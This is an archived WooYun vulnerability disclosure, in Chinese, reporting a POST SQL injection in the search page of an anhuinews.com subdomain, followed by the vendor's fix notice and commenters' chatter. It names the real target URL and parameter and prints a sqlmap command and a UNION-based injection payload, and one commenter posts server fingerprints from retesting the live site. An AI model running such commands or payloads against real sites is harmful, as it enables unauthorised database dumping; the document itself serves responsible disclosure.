当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062393

漏洞标题： 中安在线某分站POST注入

相关厂商：www.anhuinews.com

漏洞作者： depycode

提交时间：2014-07-15 10:48

修复时间：2014-08-29 10:50

公开时间：2014-08-29 10:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-15： 细节已通知厂商并且等待厂商处理中
2014-07-15： 厂商已经确认，细节仅向厂商公开
2014-07-25： 细节向核心白帽子及相关领域专家公开
2014-08-04： 细节向普通白帽子公开
2014-08-14： 细节向实习白帽子公开
2014-08-29： 细节向公众公开

简要描述：

搜索页面 post 注入 ，可以脱裤。

详细说明：

存在post注入页面 http://wswz.anhuinews.com/search.html
简单用’测试发现存在注入漏洞
firfox=>firebug=>查看搜索框value值 keyword

PX0NER@R)LMJZM2(A63%DAB.jpg


请出sqlmap
语句如下：python sqlmap.py -u http://wswz.anhuinews.com/search.html --data="keyword=1" --dbs
跑出很多表
如图

QQ截图20140526164046.png


Payload: keyword=-9017%' UNION ALL SELECT 80,80,80,80,80,80,CHAR(113)+CHAR(1
18)+CHAR(100)+CHAR(122)+CHAR(113)+CHAR(70)+CHAR(86)+CHAR(97)+CHAR(115)+CHAR(107)
+CHAR(111)+CHAR(82)+CHAR(69)+CHAR(121)+CHAR(109)+CHAR(113)+CHAR(102)+CHAR(109)+C
HAR(99)+CHAR(113),80,80,80,80,80--
可脱裤，我就不继续了。

漏洞证明：

QQ截图20140526164046.png


QQ截图20140526164449.png

修复方案：

过滤，交给专业人士来做吧。

版权声明：转载请注明来源 depycode@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2014-07-15 11:04

厂商回复：

您好，该漏洞我们已经修补，谢谢您的关注！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-13 12:12 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    。。。。。。

  2. 2014-07-13 13:16 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    @depycode 可怜的洞主跑了这么多表结果人家厂商直接来一个忽略，

  3. 2014-07-13 13:29 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    @depycode 自己测试一下发现竟然还没修复 web server operating system: Windows Vistaweb application technology: ASP, Microsoft IIS 7.0back-end DBMS: Microsoft SQL Server 2000

  4. 2014-07-13 14:19 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @Ev1l 这个还是个大站，走了小厂商，没办法

  5. 2014-07-13 14:21 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    @depycode 没办法、、我提交的那个全晨240W条数据，结果被当小厂商待认领了、、留QQ当基友吧~

  6. 2014-07-13 14:22 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @Ev1l 380034558

  7. 2014-07-15 09:22 | 中安在线(乌云厂商)

    你好，该漏洞我们已经修补，谢谢您的关注！

  8. 2014-07-15 12:32 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    这个明明是大厂商，不是给你3rank吗，乌云又没除以5，不然只有1rank了，只是厂商太小气了

  9. 2014-07-15 14:21 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @darkrerror 没有，昨天这个还不是厂商，不知道怎么突然来乌云成厂商了。

  10. 2014-07-15 14:23 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @darkrerror 估计是默认45天公开之后，被很多人看到，把他们网站万人骑了，所以才发现！

  11. 2014-07-15 14:26 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @depycode 提交日期还突然变成 7月15号，这都是我5月份发的洞了。。。。。。怎么会这样

  12. 2014-07-15 14:30 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @疯狗 提交日期自己变成7月15号了啊。。。。。

  13. 2014-07-15 16:35 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @depycode 之前是等待认领状态，认领后会开始走修复周期的，这个是程序正常设计（因为认领后才能看到细节），赶巧了貌似，正好在即将公开的时候厂商注册了。

  14. 2014-07-15 17:04 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    @疯狗 13号就已经公开过了，估计是有人看到细节后，网站被日无数次，网站管理员发现才发现